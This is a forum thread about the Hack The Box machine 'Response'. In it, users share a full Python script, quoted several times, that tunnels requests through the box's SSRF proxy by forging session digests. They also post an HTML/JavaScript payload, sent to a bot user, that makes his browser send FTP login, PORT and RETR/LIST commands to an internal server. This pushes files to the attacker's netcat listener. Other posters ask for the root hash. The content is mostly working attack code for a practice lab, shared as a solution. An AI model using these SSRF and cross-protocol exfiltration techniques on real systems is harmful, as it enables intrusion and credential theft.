Response - HTB [Discussion]
by - Thursday, January 1, 1970 at 12:00 AM
Since people are asking about my Python script, I will post the whole script here.

A few things to note:
- Configure /etc/hosts as mentioned in the main method. Reason being is that chat.response.htb is hard-coded in one of the server's JS files. Opening http://127.0.0.1 in Firefox will not work properly.
- At first, I used HTTPServer(). I noticed there were a few request which took about 10 seconds to complete. This made it really slow to interact with the chat application. So I built in multithreading.
- Login as guest:guest (these credentials can be found in the ZIP file)

import base64
from http.server import BaseHTTPRequestHandler, HTTPServer
import random
import re
import requests
from socketserver import ThreadingMixIn
import sys
import threading
import time


hostName = "0.0.0.0"
serverPort = 80


class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.request_handler('GET')

    def do_POST(self):
        self.request_handler('POST')

    def request_handler(self, method):
        self.random_number = random.randint(100000,999999)

        path = self.path
        myurl = 'http://chat.response.htb' + path
        print(f"[{self.random_number}] {method} {myurl}")
       
        if method == 'POST':
            content_len = int(self.headers.get('Content-Length'))
            post_body = self.rfile.read(content_len)
            print(f"[{self.random_number}] body: {post_body}")
        else:
            post_body = None

        digest = self.get_digest(myurl)

        data = self.send_request_to_proxy(myurl, method, digest, post_body)

        self.send_response(200)
        if path.endswith('.js'):
            self.send_header("Content-type", "application/javascript")
        elif path.endswith('.css'):
            self.send_header("Content-type", "text/css")
        else:
            self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(data)

    def get_digest(self, myurl):
        url = 'http://www.response.htb/status/main.js.php'
        cookies = {'PHPSESSID': myurl}
        response = requests.get(url, cookies=cookies)
        response.raise_for_status()
        assert 'session_digest' in response.text
        session_digest = re.search(r'\'session_digest\':\'([^\']+)', response.text).group(1)
        #print(f"[{self.random_number}] digest: {session_digest}")
        return session_digest

    def send_request_to_proxy(self, myurl, method, digest, body=None):
        url = 'http://proxy.response.htb/fetch'
        data = {'url': myurl,
                'url_digest': digest,
                'method': method,
                'session': '1a5455b829845168770cb337f1a05507',
                'session_digest': 'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'}
        if method == 'POST':
            data['body'] = base64.b64encode(body)
        response = requests.post(url, json=data)
        response.raise_for_status()
        assert 'body' in response.text and 'status_code' in response.text
        body = response.json()['body']
        status_code = response.json()['status_code']
        print(f"[{self.random_number}] status_code from proxy: {status_code}; length of body: {len(body)}")
        decoded_string = base64.b64decode(body)
        return decoded_string


# This part is for multithreaing.
# See https://stackoverflow.com/questions/14088294/multithreaded-web-server-in-python
# Multithreading is necessary because a lot of requests are made when opening the chat application.
# Some requests take several seconds to complete. I don't want these requests to hold back the other ones.
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""


def main():
    print("Edit your /etc/hosts like this:")
    print("10.10.11.163    www.response.htb proxy.response.htb    # HTB machine IP")
    print("10.10.14.13    chat.response.htb                      # my VPN IP")
    print("While runing this script, open http://chat.response.htb/ in the web browser
")

    # Without multithreading:
    #webServer = HTTPServer((hostName, serverPort), MyServer)
    # With multithreading (choose one or the other):
    webServer = ThreadedHTTPServer((hostName, serverPort), MyServer)

    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")


if __name__ == "__main__":       
    main()
Reply
(July 2, 2022, 06:52 AM)Exa Wrote: Since people are asking about my Python script, I will post the whole script here.

A few things to note:
- Configure /etc/hosts as mentioned in the main method. Reason being is that chat.response.htb is hard-coded in one of the server's JS files. Opening http://127.0.0.1 in Firefox will not work properly.
- At first, I used HTTPServer(). I noticed there were a few request which took about 10 seconds to complete. This made it really slow to interact with the chat application. So I built in multithreading.
- Login as guest:guest (these credentials can be found in the ZIP file)


import base64
from http.server import BaseHTTPRequestHandler, HTTPServer
import random
import re
import requests
from socketserver import ThreadingMixIn
import sys
import threading
import time


hostName = "0.0.0.0"
serverPort = 80


class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.request_handler('GET')

    def do_POST(self):
        self.request_handler('POST')

    def request_handler(self, method):
        self.random_number = random.randint(100000,999999)

        path = self.path
        myurl = 'http://chat.response.htb' + path
        print(f"[{self.random_number}] {method} {myurl}")
       
        if method == 'POST':
            content_len = int(self.headers.get('Content-Length'))
            post_body = self.rfile.read(content_len)
            print(f"[{self.random_number}] body: {post_body}")
        else:
            post_body = None

        digest = self.get_digest(myurl)

        data = self.send_request_to_proxy(myurl, method, digest, post_body)

        self.send_response(200)
        if path.endswith('.js'):
            self.send_header("Content-type", "application/javascript")
        elif path.endswith('.css'):
            self.send_header("Content-type", "text/css")
        else:
            self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(data)

    def get_digest(self, myurl):
        url = 'http://www.response.htb/status/main.js.php'
        cookies = {'PHPSESSID': myurl}
        response = requests.get(url, cookies=cookies)
        response.raise_for_status()
        assert 'session_digest' in response.text
        session_digest = re.search(r'\'session_digest\':\'([^\']+)', response.text).group(1)
        #print(f"[{self.random_number}] digest: {session_digest}")
        return session_digest

    def send_request_to_proxy(self, myurl, method, digest, body=None):
        url = 'http://proxy.response.htb/fetch'
        data = {'url': myurl,
                'url_digest': digest,
                'method': method,
                'session': '1a5455b829845168770cb337f1a05507',
                'session_digest': 'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'}
        if method == 'POST':
            data['body'] = base64.b64encode(body)
        response = requests.post(url, json=data)
        response.raise_for_status()
        assert 'body' in response.text and 'status_code' in response.text
        body = response.json()['body']
        status_code = response.json()['status_code']
        print(f"[{self.random_number}] status_code from proxy: {status_code}; length of body: {len(body)}")
        decoded_string = base64.b64decode(body)
        return decoded_string


# This part is for multithreaing.
# See https://stackoverflow.com/questions/14088294/multithreaded-web-server-in-python
# Multithreading is necessary because a lot of requests are made when opening the chat application.
# Some requests take several seconds to complete. I don't want these requests to hold back the other ones.
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""


def main():
    print("Edit your /etc/hosts like this:")
    print("10.10.11.163    www.response.htb proxy.response.htb     # HTB machine IP")
    print("10.10.14.13     chat.response.htb                       # my VPN IP")
    print("While runing this script, open http://chat.response.htb/ in the web browser
")

    # Without multithreading:
    #webServer = HTTPServer((hostName, serverPort), MyServer)
    # With multithreading (choose one or the other):
    webServer = ThreadedHTTPServer((hostName, serverPort), MyServer)

    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")


if __name__ == "__main__":       
    main()


@Exa Thanks so much!
Reply
(July 2, 2022, 06:52 AM)Exa Wrote: Since people are asking about my Python script, I will post the whole script here.

A few things to note:
- Configure /etc/hosts as mentioned in the main method. Reason being is that chat.response.htb is hard-coded in one of the server's JS files. Opening http://127.0.0.1 in Firefox will not work properly.
- At first, I used HTTPServer(). I noticed there were a few request which took about 10 seconds to complete. This made it really slow to interact with the chat application. So I built in multithreading.
- Login as guest:guest (these credentials can be found in the ZIP file)


import base64
from http.server import BaseHTTPRequestHandler, HTTPServer
import random
import re
import requests
from socketserver import ThreadingMixIn
import sys
import threading
import time


hostName = "0.0.0.0"
serverPort = 80


class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.request_handler('GET')

    def do_POST(self):
        self.request_handler('POST')

    def request_handler(self, method):
        self.random_number = random.randint(100000,999999)

        path = self.path
        myurl = 'http://chat.response.htb' + path
        print(f"[{self.random_number}] {method} {myurl}")
       
        if method == 'POST':
            content_len = int(self.headers.get('Content-Length'))
            post_body = self.rfile.read(content_len)
            print(f"[{self.random_number}] body: {post_body}")
        else:
            post_body = None

        digest = self.get_digest(myurl)

        data = self.send_request_to_proxy(myurl, method, digest, post_body)

        self.send_response(200)
        if path.endswith('.js'):
            self.send_header("Content-type", "application/javascript")
        elif path.endswith('.css'):
            self.send_header("Content-type", "text/css")
        else:
            self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(data)

    def get_digest(self, myurl):
        url = 'http://www.response.htb/status/main.js.php'
        cookies = {'PHPSESSID': myurl}
        response = requests.get(url, cookies=cookies)
        response.raise_for_status()
        assert 'session_digest' in response.text
        session_digest = re.search(r'\'session_digest\':\'([^\']+)', response.text).group(1)
        #print(f"[{self.random_number}] digest: {session_digest}")
        return session_digest

    def send_request_to_proxy(self, myurl, method, digest, body=None):
        url = 'http://proxy.response.htb/fetch'
        data = {'url': myurl,
                'url_digest': digest,
                'method': method,
                'session': '1a5455b829845168770cb337f1a05507',
                'session_digest': 'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'}
        if method == 'POST':
            data['body'] = base64.b64encode(body)
        response = requests.post(url, json=data)
        response.raise_for_status()
        assert 'body' in response.text and 'status_code' in response.text
        body = response.json()['body']
        status_code = response.json()['status_code']
        print(f"[{self.random_number}] status_code from proxy: {status_code}; length of body: {len(body)}")
        decoded_string = base64.b64decode(body)
        return decoded_string


# This part is for multithreaing.
# See https://stackoverflow.com/questions/14088294/multithreaded-web-server-in-python
# Multithreading is necessary because a lot of requests are made when opening the chat application.
# Some requests take several seconds to complete. I don't want these requests to hold back the other ones.
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""


def main():
    print("Edit your /etc/hosts like this:")
    print("10.10.11.163    www.response.htb proxy.response.htb     # HTB machine IP")
    print("10.10.14.13     chat.response.htb                       # my VPN IP")
    print("While runing this script, open http://chat.response.htb/ in the web browser
")

    # Without multithreading:
    #webServer = HTTPServer((hostName, serverPort), MyServer)
    # With multithreading (choose one or the other):
    webServer = ThreadedHTTPServer((hostName, serverPort), MyServer)

    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")


if __name__ == "__main__":       
    main()


@Exa For some strange reason I had to make a slight addition to your code for Python 3.10. The base64 encoded body had preface of a literal 'b' in the json object and so the proxy was returning 400. I'm not a very good Python programmer so it might just be me...

    def to_str(self, s):
        if type(s) is bytes:
            return s.decode("utf-8")
        elif type(s) is str or (sys.version_info[0] < 3 and type(s) is unicode):
            return codecs.encode(s, 'utf-8')
        else:
            raise TypeError("Expected bytes or string, but got %s." % type(s))


And on line 77 or so

data['body'] = self.to_str(base64.b64encode(body))


Now it works for me! Thanks again.
Reply
Anyone have root key: or root hash
Reply
(May 29, 2022, 05:51 PM)Exa Wrote:
(May 29, 2022, 01:06 PM)Internetdreams Wrote: https://www.serv-u.com/resource/tutorial/pasv-response-epsv-port-pbsz-rein-ftp-command#:~:text=PORT%20FTP%20command-,PORT%20FTP%20command,during%20%22active%22%20mode%20transfers


(May 29, 2022, 10:09 AM)Exa Wrote: Answering "yes" to bob, he gives the IP address and credentials for an FTP server.

Is it possible to download files via FTP using JavaScript?

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://ip:port/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
    }
}
xhr.send("USER ftpusername
PASS ftppassword
PORT 10,10,14,12,19,15
RETR credentials.txt
");
</script>


Thanks a lot, that worked! I really appreciate your help.

For a directory listing, I sent the LIST command instead of the RETR command.
In a second run, I sent RETR creds.txt.


@Exa in what context are you executing the javascript?
Reply
(July 3, 2022, 12:14 PM)Cipher Wrote: Anyone have root key: or root hash


exploitation from bob -> scryh isn't that trivial. this is exactly why this box is insane level. and it's really insane...
root hash doesn't help you really. or just wait for some new shiny exploit for linux to pop-up.
Reply
(July 3, 2022, 08:58 PM)OperationBlueSun Wrote: @Exa in what context are you executing the javascript?


You are hosting that file on your own web server and sending bob a link to that file.
Reply
(July 3, 2022, 09:27 PM)Exa Wrote:
(July 3, 2022, 08:58 PM)OperationBlueSun Wrote: @Exa in what context are you executing the javascript?


You are hosting that file on your own web server and sending bob a link to that file.


Thanks, but no luck. I tried both the captured message format and just the script tags in message file. I also changed the example ftp port using the formula.
Reply
(July 3, 2022, 11:28 PM)OperationBlueSun Wrote:
(July 3, 2022, 09:27 PM)Exa Wrote:
(July 3, 2022, 08:58 PM)OperationBlueSun Wrote: @Exa in what context are you executing the javascript?


You are hosting that file on your own web server and sending bob a link to that file.


Thanks, but no luck. I tried both the captured message format and just the script tags in message file. I also changed the example ftp port using the formula.


This is the HTML file I used (some parts are retracted):

<html>
  <body>
    <script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://172.18.###.###:2121/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// Open a netcat listener on port 3333 (13*256+5).
xhr.send("USER ftp_user
PASS ############
PORT 10,10,###,###,13,5
LIST
");
    </script>
  </body>
</html>
Reply
(July 4, 2022, 07:08 AM)Exa Wrote:
(July 3, 2022, 11:28 PM)OperationBlueSun Wrote:
(July 3, 2022, 09:27 PM)Exa Wrote:
(July 3, 2022, 08:58 PM)OperationBlueSun Wrote: @Exa in what context are you executing the javascript?


You are hosting that file on your own web server and sending bob a link to that file.


Thanks, but no luck. I tried both the captured message format and just the script tags in message file. I also changed the example ftp port using the formula.


This is the HTML file I used (some parts are retracted):

<html>
  <body>
    <script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://172.18.###.###:2121/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// Open a netcat listener on port 3333 (13*256+5).
xhr.send("USER ftp_user
PASS ############
PORT 10,10,###,###,13,5
LIST
");
    </script>
  </body>
</html>


@Exa Thanks! I wasn't adding proper html tags...
Reply


 Users viewing this thread: Response - HTB [Discussion]: No users currently viewing.